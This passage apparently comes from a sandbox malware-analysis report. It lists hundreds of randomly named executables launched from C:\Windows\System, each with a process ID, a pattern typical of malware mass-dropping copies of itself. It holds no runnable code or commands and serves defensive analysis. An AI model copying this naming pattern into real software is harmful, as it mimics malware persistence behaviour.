- C:\Windows\System\ztyVlir.exe
  C:\Windows\System\ztyVlir.exe
  2⤵
  PID:8732
- C:\Windows\System\nnUMRmE.exe
  C:\Windows\System\nnUMRmE.exe
  2⤵
  PID:8764
- C:\Windows\System\BkuCrFx.exe
  C:\Windows\System\BkuCrFx.exe
  2⤵
  PID:8904
- C:\Windows\System\vJZeQyU.exe
  C:\Windows\System\vJZeQyU.exe
  2⤵
  PID:8928
- C:\Windows\System\MHuhRAg.exe
  C:\Windows\System\MHuhRAg.exe
  2⤵
  PID:8952
- C:\Windows\System\rKuyIZz.exe
  C:\Windows\System\rKuyIZz.exe
  2⤵
  PID:8972
- C:\Windows\System\NJLaAjG.exe
  C:\Windows\System\NJLaAjG.exe
  2⤵
  PID:8996
- C:\Windows\System\NITyHXL.exe
  C:\Windows\System\NITyHXL.exe
  2⤵
  PID:9024
- C:\Windows\System\gQTiZXy.exe
  C:\Windows\System\gQTiZXy.exe
  2⤵
  PID:9048
- C:\Windows\System\UNXuoMb.exe
  C:\Windows\System\UNXuoMb.exe
  2⤵
  PID:9068
- C:\Windows\System\FRBlHTf.exe
  C:\Windows\System\FRBlHTf.exe
  2⤵
  PID:9088
- C:\Windows\System\KSRmozn.exe
  C:\Windows\System\KSRmozn.exe
  2⤵
  PID:9108
- C:\Windows\System\rSyMAeU.exe
  C:\Windows\System\rSyMAeU.exe
  2⤵
  PID:9132
- C:\Windows\System\NiJdLNd.exe
  C:\Windows\System\NiJdLNd.exe
  2⤵
  PID:9160
- C:\Windows\System\xpSSGDC.exe
  C:\Windows\System\xpSSGDC.exe
  2⤵
  PID:9184
- C:\Windows\System\prloIvA.exe
  C:\Windows\System\prloIvA.exe
  2⤵
  PID:9204
- C:\Windows\System\cabZQJS.exe
  C:\Windows\System\cabZQJS.exe
  2⤵
  PID:7352
- C:\Windows\System\nXjGEjC.exe
  C:\Windows\System\nXjGEjC.exe
  2⤵
  PID:8088
- C:\Windows\System\tmNIZDa.exe
  C:\Windows\System\tmNIZDa.exe
  2⤵
  PID:7448
- C:\Windows\System\lWinEMA.exe
  C:\Windows\System\lWinEMA.exe
  2⤵
  PID:6964
- C:\Windows\System\EOWuGVr.exe
  C:\Windows\System\EOWuGVr.exe
  2⤵
  PID:6184
- C:\Windows\System\MeEmrEr.exe
  C:\Windows\System\MeEmrEr.exe
  2⤵
  PID:7024
- C:\Windows\System\OuqIdET.exe
  C:\Windows\System\OuqIdET.exe
  2⤵
  PID:7676
- C:\Windows\System\oXqBwhm.exe
  C:\Windows\System\oXqBwhm.exe
  2⤵
  PID:7404
- C:\Windows\System\hAsWOnG.exe
  C:\Windows\System\hAsWOnG.exe
  2⤵
  PID:6400
- C:\Windows\System\VyQgmeM.exe
  C:\Windows\System\VyQgmeM.exe
  2⤵
  PID:7880
- C:\Windows\System\UgLUHBb.exe
  C:\Windows\System\UgLUHBb.exe
  2⤵
  PID:8040
- C:\Windows\System\ZtCBrQx.exe
  C:\Windows\System\ZtCBrQx.exe
  2⤵
  PID:8112
- C:\Windows\System\DcKjjwa.exe
  C:\Windows\System\DcKjjwa.exe
  2⤵
  PID:8140
- C:\Windows\System\WSNbPKM.exe
  C:\Windows\System\WSNbPKM.exe
  2⤵
  PID:6388
- C:\Windows\System\DMXwaQd.exe
  C:\Windows\System\DMXwaQd.exe
  2⤵
  PID:7856
- C:\Windows\System\kDVDtzr.exe
  C:\Windows\System\kDVDtzr.exe
  2⤵
  PID:8348
- C:\Windows\System\JPtWPxt.exe
  C:\Windows\System\JPtWPxt.exe
  2⤵
  PID:4596
- C:\Windows\System\exPVPLe.exe
  C:\Windows\System\exPVPLe.exe
  2⤵
  PID:7956
- C:\Windows\System\cudVqBO.exe
  C:\Windows\System\cudVqBO.exe
  2⤵
  PID:7984
- C:\Windows\System\QsvLzts.exe
  C:\Windows\System\QsvLzts.exe
  2⤵
  PID:8748
- C:\Windows\System\xQNnAKq.exe
  C:\Windows\System\xQNnAKq.exe
  2⤵
  PID:7732
- C:\Windows\System\vyApwKi.exe
  C:\Windows\System\vyApwKi.exe
  2⤵
  PID:6908
- C:\Windows\System\TxcEaNO.exe
  C:\Windows\System\TxcEaNO.exe
  2⤵
  PID:8512
- C:\Windows\System\hVioRMT.exe
  C:\Windows\System\hVioRMT.exe
  2⤵
  PID:8616
- C:\Windows\System\SiVtGwZ.exe
  C:\Windows\System\SiVtGwZ.exe
  2⤵
  PID:8752
- C:\Windows\System\WIrQsAe.exe
  C:\Windows\System\WIrQsAe.exe
  2⤵
  PID:8432
- C:\Windows\System\kNxKZhl.exe
  C:\Windows\System\kNxKZhl.exe
  2⤵
  PID:9044
- C:\Windows\System\GfOEINs.exe
  C:\Windows\System\GfOEINs.exe
  2⤵
  PID:9200
- C:\Windows\System\clkihxO.exe
  C:\Windows\System\clkihxO.exe
  2⤵
  PID:8556
- C:\Windows\System\KyjHOhl.exe
  C:\Windows\System\KyjHOhl.exe
  2⤵
  PID:7472
- C:\Windows\System\dEXVUak.exe
  C:\Windows\System\dEXVUak.exe
  2⤵
  PID:7636
- C:\Windows\System\xjhANla.exe
  C:\Windows\System\xjhANla.exe
  2⤵
  PID:8756
- C:\Windows\System\xSbqlLp.exe
  C:\Windows\System\xSbqlLp.exe
  2⤵
  PID:8964
- C:\Windows\System\swqZOYp.exe
  C:\Windows\System\swqZOYp.exe
  2⤵
  PID:9012
- C:\Windows\System\vQrwBOi.exe
  C:\Windows\System\vQrwBOi.exe
  2⤵
  PID:9228
- C:\Windows\System\EkWivle.exe
  C:\Windows\System\EkWivle.exe
  2⤵
  PID:9256
- C:\Windows\System\vjEUERF.exe
  C:\Windows\System\vjEUERF.exe
  2⤵
  PID:9288
- C:\Windows\System\hakSfhB.exe
  C:\Windows\System\hakSfhB.exe
  2⤵
  PID:9304
- C:\Windows\System\MCdtuZA.exe
  C:\Windows\System\MCdtuZA.exe
  2⤵
  PID:9328
- C:\Windows\System\tZxNNNz.exe
  C:\Windows\System\tZxNNNz.exe
  2⤵
  PID:9352
- C:\Windows\System\XurqUdS.exe
  C:\Windows\System\XurqUdS.exe
  2⤵
  PID:9372
- C:\Windows\System\xOMfaUk.exe
  C:\Windows\System\xOMfaUk.exe
  2⤵
  PID:9392
- C:\Windows\System\niRvHOv.exe
  C:\Windows\System\niRvHOv.exe
  2⤵
  PID:9416
- C:\Windows\System\GyoRekU.exe
  C:\Windows\System\GyoRekU.exe
  2⤵
  PID:9436
- C:\Windows\System\AraGesH.exe
  C:\Windows\System\AraGesH.exe
  2⤵
  PID:9464
- C:\Windows\System\XiDugDh.exe
  C:\Windows\System\XiDugDh.exe
  2⤵
  PID:9500
- C:\Windows\System\KMHoUVm.exe
  C:\Windows\System\KMHoUVm.exe
  2⤵
  PID:9520
- C:\Windows\System\ncmAXvC.exe
  C:\Windows\System\ncmAXvC.exe
  2⤵
  PID:9548
- C:\Windows\System\qMaQKXC.exe
  C:\Windows\System\qMaQKXC.exe
  2⤵
  PID:9568
- C:\Windows\System\eFMTvYv.exe
  C:\Windows\System\eFMTvYv.exe
  2⤵
  PID:9588
- C:\Windows\System\tfZJwks.exe
  C:\Windows\System\tfZJwks.exe
  2⤵
  PID:9612
- C:\Windows\System\ToBPZpQ.exe
  C:\Windows\System\ToBPZpQ.exe
  2⤵
  PID:9636
- C:\Windows\System\byoGKIe.exe
  C:\Windows\System\byoGKIe.exe
  2⤵
  PID:9660
- C:\Windows\System\vDUXIMk.exe
  C:\Windows\System\vDUXIMk.exe
  2⤵
  PID:9684
- C:\Windows\System\uhEIVbp.exe
  C:\Windows\System\uhEIVbp.exe
  2⤵
  PID:9716
- C:\Windows\System\SdTpcJn.exe
  C:\Windows\System\SdTpcJn.exe
  2⤵
  PID:9732
- C:\Windows\System\iJVgcvT.exe
  C:\Windows\System\iJVgcvT.exe
  2⤵
  PID:9748
- C:\Windows\System\pmSSyaJ.exe
  C:\Windows\System\pmSSyaJ.exe
  2⤵
  PID:9768
- C:\Windows\System\tzxzWcz.exe
  C:\Windows\System\tzxzWcz.exe
  2⤵
  PID:9792
- C:\Windows\System\jIFStSf.exe
  C:\Windows\System\jIFStSf.exe
  2⤵
  PID:9812
- C:\Windows\System\mlwGjUy.exe
  C:\Windows\System\mlwGjUy.exe
  2⤵
  PID:9832
- C:\Windows\System\RavROsJ.exe
  C:\Windows\System\RavROsJ.exe
  2⤵
  PID:9848
- C:\Windows\System\qDCDCXf.exe
  C:\Windows\System\qDCDCXf.exe
  2⤵
  PID:9868
- C:\Windows\System\yQOZPaF.exe
  C:\Windows\System\yQOZPaF.exe
  2⤵
  PID:9892
- C:\Windows\System\MmKNDNc.exe
  C:\Windows\System\MmKNDNc.exe
  2⤵
  PID:9916
- C:\Windows\System\wkyAELB.exe
  C:\Windows\System\wkyAELB.exe
  2⤵
  PID:9936
- C:\Windows\System\erPrvpR.exe
  C:\Windows\System\erPrvpR.exe
  2⤵
  PID:9956
- C:\Windows\System\CGcJDrv.exe
  C:\Windows\System\CGcJDrv.exe
  2⤵
  PID:9976
- C:\Windows\System\Ebpcoii.exe
  C:\Windows\System\Ebpcoii.exe
  2⤵
  PID:10132
- C:\Windows\System\sDIzNqT.exe
  C:\Windows\System\sDIzNqT.exe
  2⤵
  PID:10156
- C:\Windows\System\KtQBTqz.exe
  C:\Windows\System\KtQBTqz.exe
  2⤵
  PID:10180
- C:\Windows\System\YEzdhbv.exe
  C:\Windows\System\YEzdhbv.exe
  2⤵
  PID:10200
- C:\Windows\System\hrSBLMb.exe
  C:\Windows\System\hrSBLMb.exe
  2⤵
  PID:10224
- C:\Windows\System\QLuoSbG.exe
  C:\Windows\System\QLuoSbG.exe
  2⤵
  PID:8220
- C:\Windows\System\ccpIDGx.exe
  C:\Windows\System\ccpIDGx.exe
  2⤵
  PID:9116
- C:\Windows\System\vafhNpk.exe
  C:\Windows\System\vafhNpk.exe
  2⤵
  PID:9152
- C:\Windows\System\kqLdFrM.exe
  C:\Windows\System\kqLdFrM.exe
  2⤵
  PID:8924
- C:\Windows\System\YYyhgpc.exe
  C:\Windows\System\YYyhgpc.exe
  2⤵
  PID:10212
- C:\Windows\System\blbHSWr.exe
  C:\Windows\System\blbHSWr.exe
  2⤵
  PID:9776
- C:\Windows\System\UYSgbRp.exe
  C:\Windows\System\UYSgbRp.exe
  2⤵
  PID:8468
- C:\Windows\System\wFkBqOd.exe
  C:\Windows\System\wFkBqOd.exe
  2⤵
  PID:10172
- C:\Windows\System\bWnYjGT.exe
  C:\Windows\System\bWnYjGT.exe
  2⤵
  PID:9876
- C:\Windows\System\okkdtqG.exe
  C:\Windows\System\okkdtqG.exe
  2⤵
  PID:9096
- C:\Windows\System\kmFMGZM.exe
  C:\Windows\System\kmFMGZM.exe
  2⤵
  PID:10000
- C:\Windows\System\wVoeJRz.exe
  C:\Windows\System\wVoeJRz.exe
  2⤵
  PID:1708
- C:\Windows\System\fOtVBBH.exe
  C:\Windows\System\fOtVBBH.exe
  2⤵
  PID:2004
- C:\Windows\System\uxOUvcy.exe
  C:\Windows\System\uxOUvcy.exe
  2⤵
  PID:2648
- C:\Windows\System\fmaoEvE.exe
  C:\Windows\System\fmaoEvE.exe
  2⤵
  PID:8484
- C:\Windows\System\rcAHkqk.exe
  C:\Windows\System\rcAHkqk.exe
  2⤵
  PID:10232
- C:\Windows\System\WTzeqqH.exe
  C:\Windows\System\WTzeqqH.exe
  2⤵
  PID:8944
- C:\Windows\System\jFjOQpc.exe
  C:\Windows\System\jFjOQpc.exe
  2⤵
  PID:7532
- C:\Windows\System\ymfxYqa.exe
  C:\Windows\System\ymfxYqa.exe
  2⤵
  PID:2528
- C:\Windows\System\NMatvLF.exe
  C:\Windows\System\NMatvLF.exe
  2⤵
  PID:2044
- C:\Windows\System\gLhgAbv.exe
  C:\Windows\System\gLhgAbv.exe
  2⤵
  PID:2876
- C:\Windows\System\SSaxxGB.exe
  C:\Windows\System\SSaxxGB.exe
  2⤵
  PID:9280
- C:\Windows\System\OZETEyJ.exe
  C:\Windows\System\OZETEyJ.exe
  2⤵
  PID:9060
- C:\Windows\System\tYsdtTn.exe
  C:\Windows\System\tYsdtTn.exe
  2⤵
  PID:7276
- C:\Windows\System\GIVHkJx.exe
  C:\Windows\System\GIVHkJx.exe
  2⤵
  PID:7748
- C:\Windows\System\RJVguoK.exe
  C:\Windows\System\RJVguoK.exe
  2⤵
  PID:7712
- C:\Windows\System\xPjAoXt.exe
  C:\Windows\System\xPjAoXt.exe
  2⤵
  PID:9864
- C:\Windows\System\PKdJPxr.exe
  C:\Windows\System\PKdJPxr.exe
  2⤵
  PID:376
- C:\Windows\System\iWIuSnd.exe
  C:\Windows\System\iWIuSnd.exe
  2⤵
  PID:9724
- C:\Windows\System\DGYAARC.exe
  C:\Windows\System\DGYAARC.exe
  2⤵
  PID:9540
- C:\Windows\System\HbKycDJ.exe
  C:\Windows\System\HbKycDJ.exe
  2⤵
  PID:724
- C:\Windows\System\CGpHJDZ.exe
  C:\Windows\System\CGpHJDZ.exe
  2⤵
  PID:4344
- C:\Windows\System\UhxanUZ.exe
  C:\Windows\System\UhxanUZ.exe
  2⤵
  PID:9596
- C:\Windows\System\CYJurap.exe
  C:\Windows\System\CYJurap.exe
  2⤵
  PID:948
- C:\Windows\System\XtuvMPs.exe
  C:\Windows\System\XtuvMPs.exe
  2⤵
  PID:9908
- C:\Windows\System\ilTgaUC.exe
  C:\Windows\System\ilTgaUC.exe
  2⤵
  PID:9480
- C:\Windows\System\ToxRYQz.exe
  C:\Windows\System\ToxRYQz.exe
  2⤵
  PID:10260
- C:\Windows\System\KnagBaU.exe
  C:\Windows\System\KnagBaU.exe
  2⤵
  PID:10276
- C:\Windows\System\KGxPlcS.exe
  C:\Windows\System\KGxPlcS.exe
  2⤵
  PID:10300
- C:\Windows\System\uNMWGMZ.exe
  C:\Windows\System\uNMWGMZ.exe
  2⤵
  PID:10320
- C:\Windows\System\oSInJcJ.exe
  C:\Windows\System\oSInJcJ.exe
  2⤵
  PID:10336
- C:\Windows\System\vGHOJaF.exe
  C:\Windows\System\vGHOJaF.exe
  2⤵
  PID:10352
- C:\Windows\System\AqOLZsU.exe
  C:\Windows\System\AqOLZsU.exe
  2⤵
  PID:10368
- C:\Windows\System\pZZXYSl.exe
  C:\Windows\System\pZZXYSl.exe
  2⤵
  PID:10384
- C:\Windows\System\DaweXrU.exe
  C:\Windows\System\DaweXrU.exe
  2⤵
  PID:10404
- C:\Windows\System\jaKEazb.exe
  C:\Windows\System\jaKEazb.exe
  2⤵
  PID:10424
- C:\Windows\System\iRThRhQ.exe
  C:\Windows\System\iRThRhQ.exe
  2⤵
  PID:10440
- C:\Windows\System\JUZYRUo.exe
  C:\Windows\System\JUZYRUo.exe
  2⤵
  PID:10456
- C:\Windows\System\cDorwrs.exe
  C:\Windows\System\cDorwrs.exe
  2⤵
  PID:10472
- C:\Windows\System\jqYhhzZ.exe
  C:\Windows\System\jqYhhzZ.exe
  2⤵
  PID:10488
- C:\Windows\System\ykvllxA.exe
  C:\Windows\System\ykvllxA.exe
  2⤵
  PID:10504
- C:\Windows\System\kcKuMfK.exe
  C:\Windows\System\kcKuMfK.exe
  2⤵
  PID:10528
- C:\Windows\System\NtSUjcs.exe
  C:\Windows\System\NtSUjcs.exe
  2⤵
  PID:10556
- C:\Windows\System\TwDbJME.exe
  C:\Windows\System\TwDbJME.exe
  2⤵
  PID:10584
- C:\Windows\System\FsLbyLz.exe
  C:\Windows\System\FsLbyLz.exe
  2⤵
  PID:10604
- C:\Windows\System\VEyYJNq.exe
  C:\Windows\System\VEyYJNq.exe
  2⤵
  PID:10628
- C:\Windows\System\LVdbAFl.exe
  C:\Windows\System\LVdbAFl.exe
  2⤵
  PID:10648
- C:\Windows\System\ZRtDiQp.exe
  C:\Windows\System\ZRtDiQp.exe
  2⤵
  PID:10672
- C:\Windows\System\sgDuxBV.exe
  C:\Windows\System\sgDuxBV.exe
  2⤵
  PID:10692
- C:\Windows\System\TYIAHVc.exe
  C:\Windows\System\TYIAHVc.exe
  2⤵
  PID:10712
- C:\Windows\System\eTPHZQW.exe
  C:\Windows\System\eTPHZQW.exe
  2⤵
  PID:10736
- C:\Windows\System\UGkyIEb.exe
  C:\Windows\System\UGkyIEb.exe
  2⤵
  PID:10764
- C:\Windows\System\AmojKai.exe
  C:\Windows\System\AmojKai.exe
  2⤵
  PID:10780
- C:\Windows\System\SMtTfks.exe
  C:\Windows\System\SMtTfks.exe
  2⤵
  PID:10804
- C:\Windows\System\CYQpoWO.exe
  C:\Windows\System\CYQpoWO.exe
  2⤵
  PID:10824
- C:\Windows\System\zdGpXaB.exe
  C:\Windows\System\zdGpXaB.exe
  2⤵
  PID:10844
- C:\Windows\System\iaCoWWO.exe
  C:\Windows\System\iaCoWWO.exe
  2⤵
  PID:10876
- C:\Windows\System\zQXgHkw.exe
  C:\Windows\System\zQXgHkw.exe
  2⤵
  PID:10892
- C:\Windows\System\eDkxgwz.exe
  C:\Windows\System\eDkxgwz.exe
  2⤵
  PID:10912
- C:\Windows\System\IQFWMXp.exe
  C:\Windows\System\IQFWMXp.exe
  2⤵
  PID:10932
- C:\Windows\System\uwmaysM.exe
  C:\Windows\System\uwmaysM.exe
  2⤵
  PID:10952
- C:\Windows\System\IplbbnT.exe
  C:\Windows\System\IplbbnT.exe
  2⤵
  PID:10972
- C:\Windows\System\qYbcMnp.exe
  C:\Windows\System\qYbcMnp.exe
  2⤵
  PID:10992
- C:\Windows\System\nDaCsNg.exe
  C:\Windows\System\nDaCsNg.exe
  2⤵
  PID:11012
- C:\Windows\System\hXlAcAH.exe
  C:\Windows\System\hXlAcAH.exe
  2⤵
  PID:11028
- C:\Windows\System\xmvyIjp.exe
  C:\Windows\System\xmvyIjp.exe
  2⤵
  PID:11044
- C:\Windows\System\rdcINEj.exe
  C:\Windows\System\rdcINEj.exe
  2⤵
  PID:11064
- C:\Windows\System\JfpGyGG.exe
  C:\Windows\System\JfpGyGG.exe
  2⤵
  PID:11084
- C:\Windows\System\YWNMDcK.exe
  C:\Windows\System\YWNMDcK.exe
  2⤵
  PID:11232
- C:\Windows\System\kFhdUZj.exe
  C:\Windows\System\kFhdUZj.exe
  2⤵
  PID:11252
- C:\Windows\System\pqbKRVR.exe
  C:\Windows\System\pqbKRVR.exe
  2⤵
  PID:8280
- C:\Windows\System\kpYfgbR.exe
  C:\Windows\System\kpYfgbR.exe
  2⤵
  PID:8740
- C:\Windows\System\rbRKozo.exe
  C:\Windows\System\rbRKozo.exe
  2⤵
  PID:9428
- C:\Windows\System\YzMdGwa.exe
  C:\Windows\System\YzMdGwa.exe
  2⤵
  PID:4216
- C:\Windows\System\zfhAggw.exe
  C:\Windows\System\zfhAggw.exe
  2⤵
  PID:1248
- C:\Windows\System\MhWBJTO.exe
  C:\Windows\System\MhWBJTO.exe
  2⤵
  PID:9564
- C:\Windows\System\JYukUzv.exe
  C:\Windows\System\JYukUzv.exe
  2⤵
  PID:9452
- C:\Windows\System\iyIczDl.exe
  C:\Windows\System\iyIczDl.exe
  2⤵
  PID:10312
- C:\Windows\System\TxcnHvS.exe
  C:\Windows\System\TxcnHvS.exe
  2⤵
  PID:8320
- C:\Windows\System\GDmsLdD.exe
  C:\Windows\System\GDmsLdD.exe
  2⤵
  PID:4792
- C:\Windows\System\flxBnBT.exe
  C:\Windows\System\flxBnBT.exe
  2⤵
  PID:10468
- C:\Windows\System\ApSnGPA.exe
  C:\Windows\System\ApSnGPA.exe
  2⤵
  PID:9236
- C:\Windows\System\PxVWoxI.exe
  C:\Windows\System\PxVWoxI.exe
  2⤵
  PID:10552
- C:\Windows\System\PwVqsBw.exe
  C:\Windows\System\PwVqsBw.exe
  2⤵
  PID:572
- C:\Windows\System\ztWkIgg.exe
  C:\Windows\System\ztWkIgg.exe
  2⤵
  PID:10708
- C:\Windows\System\GsizQmA.exe
  C:\Windows\System\GsizQmA.exe
  2⤵
  PID:10756
- C:\Windows\System\hwkuZrE.exe
  C:\Windows\System\hwkuZrE.exe
  2⤵
  PID:1160
- C:\Windows\System\wTMRoFw.exe
  C:\Windows\System\wTMRoFw.exe
  2⤵
  PID:3956
- C:\Windows\System\saGjwCo.exe
  C:\Windows\System\saGjwCo.exe
  2⤵
  PID:10884
- C:\Windows\System\XjYjTuW.exe
  C:\Windows\System\XjYjTuW.exe
  2⤵
  PID:11060
- C:\Windows\System\UJsfUVc.exe
  C:\Windows\System\UJsfUVc.exe
  2⤵
  PID:9180
- C:\Windows\System\PtDaRIK.exe
  C:\Windows\System\PtDaRIK.exe
  2⤵
  PID:932
- C:\Windows\System\YVTEoHI.exe
  C:\Windows\System\YVTEoHI.exe
  2⤵
  PID:3332
- C:\Windows\System\apIbNNU.exe
  C:\Windows\System\apIbNNU.exe
  2⤵
  PID:2196
- C:\Windows\System\ZgfzgGj.exe
  C:\Windows\System\ZgfzgGj.exe
  2⤵
  PID:1096
- C:\Windows\System\rQWvuSf.exe
  C:\Windows\System\rQWvuSf.exe
  2⤵
  PID:9668
- C:\Windows\System\BtsPMMP.exe
  C:\Windows\System\BtsPMMP.exe
  2⤵
  PID:10268
- C:\Windows\System\dQtCzPK.exe
  C:\Windows\System\dQtCzPK.exe
  2⤵
  PID:10928
- C:\Windows\System\bbaZkzY.exe
  C:\Windows\System\bbaZkzY.exe
  2⤵
  PID:10948
- C:\Windows\System\oxGUsAM.exe
  C:\Windows\System\oxGUsAM.exe
  2⤵
  PID:10412
- C:\Windows\System\Qmuabvf.exe
  C:\Windows\System\Qmuabvf.exe
  2⤵
  PID:10452
- C:\Windows\System\pKPHNUx.exe
  C:\Windows\System\pKPHNUx.exe
  2⤵
  PID:10600
- C:\Windows\System\yIWJDuq.exe
  C:\Windows\System\yIWJDuq.exe
  2⤵
  PID:10656
- C:\Windows\System\kojpBYQ.exe
  C:\Windows\System\kojpBYQ.exe
  2⤵
  PID:10788
- C:\Windows\System\dmSjUsY.exe
  C:\Windows\System\dmSjUsY.exe
  2⤵
  PID:10832
- C:\Windows\System\lvjyFJk.exe
  C:\Windows\System\lvjyFJk.exe
  2⤵
  PID:2100
- C:\Windows\System\iJWVjrY.exe
  C:\Windows\System\iJWVjrY.exe
  2⤵
  PID:11268
- C:\Windows\System\BiTWWwd.exe
  C:\Windows\System\BiTWWwd.exe
  2⤵
  PID:11292
- C:\Windows\System\AYzOiar.exe
  C:\Windows\System\AYzOiar.exe
  2⤵
  PID:11312
- C:\Windows\System\ysMyJxn.exe
  C:\Windows\System\ysMyJxn.exe
  2⤵
  PID:11328
- C:\Windows\System\NyTbaQT.exe
  C:\Windows\System\NyTbaQT.exe
  2⤵
  PID:11352
- C:\Windows\System\wfGQeyj.exe
  C:\Windows\System\wfGQeyj.exe
  2⤵
  PID:11488
- C:\Windows\System\fAIPFLf.exe
  C:\Windows\System\fAIPFLf.exe
  2⤵
  PID:11664
- C:\Windows\System\sFCBbej.exe
  C:\Windows\System\sFCBbej.exe
  2⤵
  PID:11700
- C:\Windows\System\bZvvUCV.exe
  C:\Windows\System\bZvvUCV.exe
  2⤵
  PID:11736
- C:\Windows\System\pZaBbXe.exe
  C:\Windows\System\pZaBbXe.exe
  2⤵
  PID:11800
- C:\Windows\System\unUBMcb.exe
  C:\Windows\System\unUBMcb.exe
  2⤵
  PID:11824
- C:\Windows\System\YfKNyth.exe
  C:\Windows\System\YfKNyth.exe
  2⤵
  PID:11860
- C:\Windows\System\zVWMyPM.exe
  C:\Windows\System\zVWMyPM.exe
  2⤵
  PID:11892
- C:\Windows\System\sRjygvD.exe
  C:\Windows\System\sRjygvD.exe
  2⤵
  PID:11924
- C:\Windows\System\NYWaifw.exe
  C:\Windows\System\NYWaifw.exe
  2⤵
  PID:11944
- C:\Windows\System\dKMDqTp.exe
  C:\Windows\System\dKMDqTp.exe
  2⤵
  PID:11960
- C:\Windows\System\hhQVXsG.exe
  C:\Windows\System\hhQVXsG.exe
  2⤵
  PID:11980
- C:\Windows\System\dxYABpH.exe
  C:\Windows\System\dxYABpH.exe
  2⤵
  PID:12000
- C:\Windows\System\TwSqtuY.exe
  C:\Windows\System\TwSqtuY.exe
  2⤵
  PID:12020
- C:\Windows\System\VMwIjty.exe
  C:\Windows\System\VMwIjty.exe
  2⤵
  PID:12044
- C:\Windows\System\oOmxiKI.exe
  C:\Windows\System\oOmxiKI.exe
  2⤵
  PID:12060
- C:\Windows\System\BuxIsKX.exe
  C:\Windows\System\BuxIsKX.exe
  2⤵
  PID:12084
- C:\Windows\System\XdHPIMG.exe
  C:\Windows\System\XdHPIMG.exe
  2⤵
  PID:12112
- C:\Windows\System\hfFrfHQ.exe
  C:\Windows\System\hfFrfHQ.exe
  2⤵
  PID:12140
- C:\Windows\System\QdtGsfn.exe
  C:\Windows\System\QdtGsfn.exe
  2⤵
  PID:12160
- C:\Windows\System\xgmfUsx.exe
  C:\Windows\System\xgmfUsx.exe
  2⤵
  PID:12184
- C:\Windows\System\ErlaLTW.exe
  C:\Windows\System\ErlaLTW.exe
  2⤵
  PID:12204
- C:\Windows\System\mwbqkny.exe
  C:\Windows\System\mwbqkny.exe
  2⤵
  PID:12224
- C:\Windows\System\eRHHgjN.exe
  C:\Windows\System\eRHHgjN.exe
  2⤵
  PID:12248
- C:\Windows\System\kGltYvb.exe
  C:\Windows\System\kGltYvb.exe
  2⤵
  PID:12276
- C:\Windows\System\MexeaJq.exe
  C:\Windows\System\MexeaJq.exe
  2⤵
  PID:9744
- C:\Windows\System\aqJiZzU.exe
  C:\Windows\System\aqJiZzU.exe
  2⤵
  PID:9804
- C:\Windows\System\yoSwAFR.exe
  C:\Windows\System\yoSwAFR.exe
  2⤵
  PID:10464
- C:\Windows\System\KKAokHq.exe
  C:\Windows\System\KKAokHq.exe
  2⤵
  PID:1596
- C:\Windows\System\KestRFS.exe
  C:\Windows\System\KestRFS.exe
  2⤵
  PID:1032
- C:\Windows\System\YxlWxgy.exe
  C:\Windows\System\YxlWxgy.exe
  2⤵
  PID:11132
- C:\Windows\System\KOKTzEd.exe
  C:\Windows\System\KOKTzEd.exe
  2⤵
  PID:10772
- C:\Windows\System\WZLBpri.exe
  C:\Windows\System\WZLBpri.exe
  2⤵
  PID:11184
- C:\Windows\System\uQZxUkJ.exe
  C:\Windows\System\uQZxUkJ.exe
  2⤵
  PID:5240
- C:\Windows\System\phGHCLl.exe
  C:\Windows\System\phGHCLl.exe
  2⤵
  PID:5308
- C:\Windows\System\CagxgkO.exe
  C:\Windows\System\CagxgkO.exe
  2⤵
  PID:5348
- C:\Windows\System\Xkjgahp.exe
  C:\Windows\System\Xkjgahp.exe
  2⤵
  PID:5424
- C:\Windows\System\qGGnwju.exe
  C:\Windows\System\qGGnwju.exe
  2⤵
  PID:2352
- C:\Windows\System\SAQBeVr.exe
  C:\Windows\System\SAQBeVr.exe
  2⤵
  PID:10360
- C:\Windows\System\tUInjHV.exe
  C:\Windows\System\tUInjHV.exe
  2⤵
  PID:1352
- C:\Windows\System\hVDtFRY.exe
  C:\Windows\System\hVDtFRY.exe
  2⤵
  PID:10416
- C:\Windows\System\lcLTnFs.exe
  C:\Windows\System\lcLTnFs.exe
  2⤵
  PID:11092
- C:\Windows\System\qhAQFms.exe
  C:\Windows\System\qhAQFms.exe
  2⤵
  PID:11004
- C:\Windows\System\uQllGTh.exe
  C:\Windows\System\uQllGTh.exe
  2⤵
  PID:11260
- C:\Windows\System\dNxzrmD.exe
  C:\Windows\System\dNxzrmD.exe
  2⤵
  PID:9400
- C:\Windows\System\YrFOITj.exe
  C:\Windows\System\YrFOITj.exe
  2⤵
  PID:5524
- C:\Windows\System\HrBcGDi.exe
  C:\Windows\System\HrBcGDi.exe
  2⤵
  PID:9992
- C:\Windows\System\IfHhAjo.exe
  C:\Windows\System\IfHhAjo.exe
  2⤵
  PID:396
- C:\Windows\System\azLOYQb.exe
  C:\Windows\System\azLOYQb.exe
  2⤵
  PID:10500
- C:\Windows\System\zLUWpbO.exe
  C:\Windows\System\zLUWpbO.exe
  2⤵
  PID:11612
- C:\Windows\System\EEuuGyY.exe
  C:\Windows\System\EEuuGyY.exe
  2⤵
  PID:10272
- C:\Windows\System\ZqRDMOw.exe
  C:\Windows\System\ZqRDMOw.exe
  2⤵
  PID:10960
- C:\Windows\System\zjUXisB.exe
  C:\Windows\System\zjUXisB.exe
  2⤵
  PID:11040
- C:\Windows\System\BXhRpkg.exe
  C:\Windows\System\BXhRpkg.exe
  2⤵
  PID:10820
- C:\Windows\System\BumOIVa.exe
  C:\Windows\System\BumOIVa.exe
  2⤵
  PID:11340
- C:\Windows\System\TVnAfiJ.exe
  C:\Windows\System\TVnAfiJ.exe
  2⤵
  PID:11484
- C:\Windows\System\DnOlRTZ.exe
  C:\Windows\System\DnOlRTZ.exe
  2⤵
  PID:5600
- C:\Windows\System\ROupVgn.exe
  C:\Windows\System\ROupVgn.exe
  2⤵
  PID:8704
- C:\Windows\System\geEEGJz.exe
  C:\Windows\System\geEEGJz.exe
  2⤵
  PID:5924
- C:\Windows\System\bhHumIV.exe
  C:\Windows\System\bhHumIV.exe
  2⤵
  PID:11696
- C:\Windows\System\QqFunJp.exe
  C:\Windows\System\QqFunJp.exe
  2⤵
  PID:5268
- C:\Windows\System\trWUBbM.exe
  C:\Windows\System\trWUBbM.exe
  2⤵
  PID:11308
- C:\Windows\System\GLNLiDg.exe
  C:\Windows\System\GLNLiDg.exe
  2⤵
  PID:10904
- C:\Windows\System\zAOAPtr.exe
  C:\Windows\System\zAOAPtr.exe
  2⤵
  PID:12232
- C:\Windows\System\yPcpSVK.exe
  C:\Windows\System\yPcpSVK.exe
  2⤵
  PID:5856
- C:\Windows\System\ccgYwuq.exe
